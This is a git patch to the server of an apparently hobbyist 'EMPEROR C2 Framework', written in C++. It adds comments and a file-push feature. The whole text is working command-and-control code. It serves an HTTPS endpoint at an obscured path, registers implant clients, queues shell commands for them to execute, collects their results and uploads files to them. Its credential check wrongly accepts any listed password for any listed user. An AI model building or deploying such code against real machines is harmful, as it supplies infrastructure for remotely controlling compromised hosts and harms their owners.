From 51bece6a3dcd25c14cb0327c7dd51b46f7a1a3e1 Mon Sep 17 00:00:00 2001 From: elimin8 Date: Tue, 14 Dec 2021 11:04:48 +0000 Subject: [PATCH] Added comments and file upload functionality --- EmperorServer.cpp | 401 ++++++++++++++++++++++++++++++---------------- 1 file changed, 261 insertions(+), 140 deletions(-) diff --git a/EmperorServer.cpp b/EmperorServer.cpp index 078a262..27d79af 100755 --- a/EmperorServer.cpp +++ b/EmperorServer.cpp @@ -12,206 +12,322 @@ bool bIncomingHey = false; std::string sIncomingHeyUser; bool bShutdown = false; -std::vector> retrievecreds(std::string sFile) +std::vector> retrievecreds(std::string sFile) // takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion into + // a vector of strings { - std::vector> sCreds; - std::vector sUsernames; - std::vector sPasswords; - std::fstream fCreds; - fCreds.open("creds", std::ios::in); + std::vector> sCreds; // define 2d vector of strings for storing creds + std::vector sUsernames; // vector of strings for storing usernames + std::vector sPasswords; // vector of strings for storing passwords + std::fstream fCreds; // filestream for reading provided file + fCreds.open("creds", std::ios::in); // open file provided in parameter char ch; - bool bUsername = true; - std::string sUsername = ""; - std::string sPassword = ""; + bool bUsername = true; // flag used to determine if username is currently being parsed, set to true by default as creds are in the form username:password + std::string sUsername = ""; // string to store username + std::string sPassword = ""; // string to store password - while (true) + while (true) // loop forever { fCreds >> ch; - if (fCreds.eof()) + if (fCreds.eof()) // if the end of the credentials file has been reached { - sPasswords.push_back(sPassword); - break; + sPasswords.push_back(sPassword); // push the last password back into the vector of passwords + break; // and break the loop } - if (ch == ':') + if (ch == ':') // if we have reached the end of the username { - bUsername = false; - fCreds >> ch; - sUsernames.push_back(sUsername); - sUsername = ""; + bUsername = false; // set the bUsername flag to false + fCreds >> ch; // retrieve the next char from the file + sUsernames.push_back(sUsername); // add the previous username to the sUsernames vector + sUsername = ""; // set the sUsername variable to empty } - if (ch == '\n') + if (ch == '\n') // if we have encountered a line break { - bUsername = true; - fCreds >> ch; - sPasswords.push_back(sPassword); - sPassword = ""; + bUsername = true; // set the bUsername flag to true + fCreds >> ch; // retrieve the next char from the file + sPasswords.push_back(sPassword); // add the previous password to the sPasswords vector + sPassword = ""; // set the sPassword variable to empty } - if (bUsername) + if (bUsername) // if the bUsername flag is true { - sUsername += ch; + sUsername += ch; // then append the retrieved char to the sUsername string } - else + else // if the bUsername flag is false { - sPassword += ch; + sPassword += ch; // then append the retrieved char to the sPassword string } } - sCreds.push_back(sUsernames); - sCreds.push_back(sPasswords); - return sCreds; + sCreds.push_back(sUsernames); // add the sUsernames vector to the sCreds 2d vector + sCreds.push_back(sPasswords); // add the sPasswords vector to the sCreds 2d vector + return sCreds; // return the sCreds 2d vector } -std::vector> sCreds = retrievecreds("creds"); +std::vector> sCreds = retrievecreds("creds"); // call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector called + // sCreds -std::map defaultUserConnections(std::vector> sCreds) +std::map createUserConnections(std::vector> sCreds) // takes a vector of strings containing the listed credentials and creates a dictionary containing the + // username of the registered client as the key and a false boolean for later use { - std::map mConnections; - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + std::map mConnections; // define mConnections, a map containing string as the key and bool as the value + + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials { - mConnections[sCreds[0][iUsernameIndex]] = false; + mConnections[sCreds[0][iUsernameIndex]] = false; // set the value of the username to an empty string } - return mConnections; + return mConnections; // return the map } -std::map defaultUserComms(std::vector> sCreds) +std::map createUserComms(std::vector> sCreds) // creates a dictionary containing the username of the registered client + // as the key and an empty value for later use { - std::map mComms; - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + std::map mComms; // define mComms, a map containing string as the key and value + + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials { - mComms[sCreds[0][iUsernameIndex]] = ""; + mComms[sCreds[0][iUsernameIndex]] = ""; // set the value of the username to an empty string } - return mComms; + return mComms; // return the map } -std::map mCommands = defaultUserComms(sCreds); +std::map mCommands = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to + // mCommands -std::map mResults = defaultUserComms(sCreds); +std::map mResults = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to + // mResults -std::string listUserConnections(std::map mConnections) +std::map mInFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mInFiles + +std::map mOutFiles = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles + +std::map mConnections = createUserConnections(sCreds); // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of + // string and bool to mConnections + +std::string listUserConnections(std::map mConnections) // iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds the + // username along with a string which confirms the client is active to the oss, which is returned as string { - std::ostringstream oss; - for (auto const &[key, val] : mConnections) + std::ostringstream oss; // declare ostringstream oss for later use as a dynamic string + for (auto const &[key, val] : mConnections) // for each key and value in mConnections, assign these to variables key and val { - if (val == true) + if (val == true) // if the value for the key is true { - oss << key << " is active.\n"; + oss << key << " is active.\n"; // then add the key to the oss as well as a string to confirm the client is active } } - std::string sConnections = oss.str(); - return sConnections; + std::string sConnections = oss.str(); // convert oss to string + return sConnections; // return the converted string } -std::map mConnections = defaultUserConnections(sCreds); - -class command_and_control : public httpserver::http_resource +class command_and_control : public httpserver::http_resource // class for command and control http resource { public: - bool verifycreds(std::vector> sCreds, std::string sUsername, std::string sPassword) + bool verifycreds(std::vector> sCreds, std::string sUsername, std::string sPassword) // takes 2d vector sCreds along with the provided username and password from the + // client in order to verify their credentials, returns true if successful { - for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) + for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in sCreds { - if (sCreds[0][iUsernameIndex] == sUsername) + if (sCreds[0][iUsernameIndex] == sUsername) // if the selected username in the vector matches the username provided by the client { - for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) + for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) // for each password in sCreds { - if (sCreds[1][iPasswordIndex] == sPassword) + if (sCreds[1][iPasswordIndex] == sPassword) // if the selected password in the vector matches the password provided by the client { - return true; + return true; // then return true } } } } - return false; + return false; // otherwise return false } - const std::shared_ptr render(const httpserver::http_request &req) + const std::shared_ptr render(const httpserver::http_request &req) // responsible for rendering the http response from the server { - if (verifycreds(sCreds, req.get_user(), req.get_pass())) + if (verifycreds(sCreds, req.get_user(), req.get_pass())) // if the provided http auth credentials from the client are in the sCreds 2d vector { - if (req.get_method() == "POST") + if (req.get_method() == "POST") // if the method used is post { - if (req.get_arg("msg") == "ready") + if (req.get_arg("msg") == "ready") // if the client is initiating a connection { - std::ostringstream oss; - oss << "user=" << req.get_user() << "&msg=acknowledged"; - std::string sResponse = oss.str(); - bIncomingHey = true; - sIncomingHeyUser = req.get_user(); - mConnections[req.get_user()] = true; - return std::shared_ptr(new httpserver::string_response(sResponse)); + std::ostringstream oss; // declare ostringstream oss for response creation + oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm connection has been established + std::string sResponse = oss.str(); // convert oss to string + bIncomingHey = true; // set the bIncomingHey flag to true + sIncomingHeyUser = req.get_user(); // set the sIncomingHeyUser string to the value of the username used by the client + mConnections[req.get_user()] = true; // set the connection value of the user in question to true + return std::shared_ptr(new httpserver::string_response(sResponse)); // return the generated response to the client } - if (req.get_arg("msg") == "reqcmd") + else if (req.get_arg("msg") == "reqcmd") // if the client is requesting a command from the server { - if (mCommands[req.get_user()] != "") + if (mCommands[req.get_user()] != "") // if there is a command waiting to be executed from the server { - std::ostringstream oss; - oss << "run=" << mCommands[req.get_user()]; - return std::shared_ptr(new httpserver::string_response(oss.str())); + std::ostringstream oss; // declare ostringstream oss for response creation + oss << "run=" << mCommands[req.get_user()]; // add command to the oss + return std::shared_ptr(new httpserver::string_response(oss.str())); // return the generated response to the client } - else + + else if (mOutFiles[req.get_user()] != "") // if there is a file waiting to be downloaded from the server { - return std::shared_ptr(new httpserver::string_response("msg=nocmd")); + std::ostringstream oss; // declare ostringstream for response creation + oss << "out=" << mOutFiles[req.get_user()]; // add filename and file content to the oss + return std::shared_ptr(new httpserver::string_response(oss.str())); // return the generated response to the client + } + + else // otherwise + { + return std::shared_ptr(new httpserver::string_response("msg=nocmd")); // tell the client there is no command in the queue } } - if (req.get_arg("result") != "") + + else if (req.get_arg("msg") == "saved") { - mCommands[req.get_user()] = ""; - mResults[req.get_user()] = req.get_arg("result"); - std::ostringstream oss; - oss << "user=" << req.get_user() << "&msg=acknowledged"; - std::string sResponse = oss.str(); - return std::shared_ptr(new httpserver::string_response(sResponse)); + std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl; + mOutFiles[req.get_user()] = ""; + } + + else if (req.get_arg("msg") == "error") + { + std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl; + mOutFiles[req.get_user()] = ""; + } + + else if (req.get_arg("result") != "") // if the client has submitted a result from a command + { + mCommands[req.get_user()] = ""; // the value for the client in the mCommands map should be set to empty + mResults[req.get_user()] = req.get_arg("result"); // the value for the cleit in the mResults map should be set to the returned result + std::ostringstream oss; // declare osstringstream oss for response creation + oss << "user=" << req.get_user() << "&msg=acknowledged"; // add specific response for client to confirm that the result from the command was recieved + std::string sResponse = oss.str(); // convert oss to string + return std::shared_ptr(new httpserver::string_response(sResponse)); // return the generated response to the client } } } - return std::shared_ptr(new httpserver::string_response("Not found")); + return std::shared_ptr(new httpserver::string_response("Not found")); // otherwise return not found } }; -void checkConnections() +void checkConnections() // checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting { - while (!bShutdown) + while (!bShutdown) // whilst the server is not shutting down { - if (bIncomingHey) + if (bIncomingHey) // if the bIncomingHey flag is true { - std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; - bIncomingHey = false; - sIncomingHeyUser = ""; + std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; // then print incoming connection from, with the username and finally + // print the prompt on the next line + bIncomingHey = false; // set the bIncomingHey flag to false + sIncomingHeyUser = ""; // set the sIncomingHeyUser string to empty } } } -void interactConnection(std::string sIdentifier) +bool uploadFile(std::string sFilename, std::string sUsername) { - std::string sCommand; - std::cout << "Starting interaction with " << sIdentifier << std::endl; - while (true) + std::string sContent; // declare string sContent for later use + sContent += sFilename + '\n'; // append filename along with a linebreak to the file content for use by the client + std::ifstream fFile; // declare ifstream fFile for later use + fFile.open(sFilename); // open the file provided as an argument + char ch; // declare char for reading file + while (fFile) // whilst the end of the file has not been reached { - std::cout << "[EMPEROR - " << sIdentifier << "]>"; - std::getline(std::cin, sCommand); + ch = fFile.get(); // get the next char from the file + sContent += ch; // append it to the sContent string + } - if (sCommand == ":q") + if (sContent != "") // if the file was successfully read + { + mOutFiles[sUsername] = sContent; // then set the value of the username key in the mOutFiles map to the parsed content of the file + return true; + } + else // otherwise + { + return false; // the file was not successfully read + } +} + +void downloadFile(std::string sContent, std::string sUsername) +{ + std::ofstream fFile; // declare ifstream fFile for later use + std::string sFilename; // declare string sFilename for later use + + for (int i = 0; i < sContent.length() - 1; i++) // for each char in the sContent string + { + if (sContent[i] == '\n') // if the selected char is a line break { break; } - mCommands[sIdentifier] = sCommand; - std::cout << "Command sent, awaiting response..." << std::endl; - while (mResults[sIdentifier].empty()) + sFilename += sContent[i]; // add the selected char to the sFilename string + } + + fFile.open(sFilename); // creatr file with provided filename + fFile << sContent; // write file content to file +} + +void interactConnection(std::string sIdentifier) // begin issuing commands to the client provided as a parameter +{ + std::string sCommand; // declare sCommand string to store command input + std::cout << "Starting interaction with " << sIdentifier << std::endl; // show the connection that the user is beginning interaction with + while (true) // loop forever + { + std::cout << "[EMPEROR - " << sIdentifier << "]>"; // print prompt with username of connected client + std::getline(std::cin, sCommand); // get user input + std::regex rUpload(":u "); // compile upload regex for later use + + if (sCommand == ":q") // if the command is quit { - continue; + break; // exit the interactive connection + } + else if (std::regex_search(sCommand, rUpload)) // if the command is upload + { + bool bFilename = false; // declare bool bFilename flag which is set to false by default + bool bResult; // declare bool bResult for later use + std::string sFilename; // declare string sFilename for later use + for (int i = 0; i < sCommand.length(); i++) // for each char in sCommand string + { + if (bFilename) // if the filename is currently being parsed + { + sFilename += sCommand[i]; // add the currently selected char to the sFilename string + } + + if (sCommand[i] == ' ') // if the currently selected char is a space + { + bFilename = true; // set the bFilename flag to true + } + } + + bResult = uploadFile(sFilename, sIdentifier); // call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool + + if (bResult) // if the uploadFile function returned true + { + std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response + while (!mOutFiles[sIdentifier].empty()) // whilst the file has not been removed from the mOutFiles array + { + continue; // do nothing and block further execution + } + } + else // otherwise + { + std::cout << "The provided file does not exist or cannot be read." << std::endl; // tell the user the file provided could not be read + } + } + else // otherwise + { + mCommands[sIdentifier] = sCommand; // add the command to the value for the username key in the mCommands map + std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response + while (mResults[sIdentifier].empty()) // whilst the client has not submitted a result for the command + { + continue; // do nothing and block further execution + } + std::cout << "Result: " << mResults[sIdentifier] << std::endl; // when the response is submitted, print the result to the user from the mResults map + mResults[sIdentifier] = ""; // set the value of the key for the client in question to an empty string } - std::cout << "Result: " << mResults[sIdentifier] << std::endl; - mResults[sIdentifier] = ""; } } void prompt() { - std::cout << "========== EMPEROR C2 Framework==========" << std::endl; + std::cout << "========== EMPEROR C2 Framework ==========" << std::endl; std::cout << R"( _____ ,888888b. .d888888888b @@ -238,65 +354,70 @@ void prompt() <,--''`.._>8888( `>__...--' `''` )" << std::endl; - std::cout << "=========================================" << std::endl; - std::string sCommand; - while (true) + std::cout << "=========================================" << std::endl; // print out fancy splash screen for server + std::string sCommand; // declare string sCommand for storing user input + while (true) // loop forever { - std::cout << "[EMPEROR]>"; - std::getline(std::cin, sCommand); - std::regex rConnect("connect "); + std::cout << "[EMPEROR]>"; // print prompt + std::getline(std::cin, sCommand); // get input to sCommand string + std::regex rConnect("connect "); // compile rConnect regex - if (sCommand == "connections") + if (sCommand == "connections") // if the user wants to list the current connections { - std::cout << listUserConnections(mConnections); + std::cout << listUserConnections(mConnections); // then call the listUserConnections function with the argument of the mConnections map and print the return from the function } - if (std::regex_search(sCommand, rConnect)) + if (std::regex_search(sCommand, rConnect)) // if the user is trying to interact with a specific connection { - std::vector sCommands; - std::string sSplit; - for (int i = 0; i < sCommand.length(); i++) + std::vector sCommands; // declare a vector of strings sCommands which is used to store the command after it has been split + std::string sSplit; // declare string sSplit for storing each section of the split string + for (int i = 0; i < sCommand.length(); i++) // for each char in the sCommand string { - if (sCommand[i] == ' ') + if (sCommand[i] == ' ') // if the char is a space { - sCommands.push_back(sSplit); - if (sCommands.size() > 2) + sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector + /*if (sCommands.size() >= 2) // if the sCommands vector has two strings { - break; - } - sSplit = ""; + break; // then break out of the for loop + }*/ + sSplit = ""; // set the sSplit string to empty } - else + else // otherwise { - sSplit.push_back(sCommand[i]); - if (i == (sCommand.length() - 1)) + sSplit.push_back(sCommand[i]); // add the currently selected char from the sCommand string to the sSplit string + if (i == (sCommand.length() - 1)) // if the end of the sCommand string has been reached { - sCommands.push_back(sSplit); + sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector } } } - if (mConnections[sCommands[1]]) + if (mConnections[sCommands[1]]) // if the client which the user wishes to interact with has an active connection { - interactConnection(sCommands[1]); + interactConnection(sCommands[1]); // then begin interacting with the connection, providing interactConnection with the username of the client in question + } + else // otherwise + { + std::cout << "That client is not currently connected." << std::flush; // tell the user the client is not currently connected } } - if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") + if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") // if the user wishes to quit { - bShutdown = true; - break; + bShutdown = true; // set the bShutdown flag to true + break; // break out of the while loop } } } int main(int argc, char **argv) { - command_and_control c2; - httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt"); - ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); - ws.start(false); - std::thread tCheck(checkConnections); - prompt(); - tCheck.join(); + command_and_control c2; // instanciate the command and control class + httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt"); // create the webserver, ensuring ssl is enabled and + // the server is using the provided crt and key + ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); // register the c2 resource at a randomly generated URL + ws.start(false); // start the webserver in non-blocking mode + std::thread tCheck(checkConnections); // run checkConnections in a new thread + prompt(); // run the interactive prompt + tCheck.join(); // after the prompt has exited, wait for the checkConnections thread to end return 0; }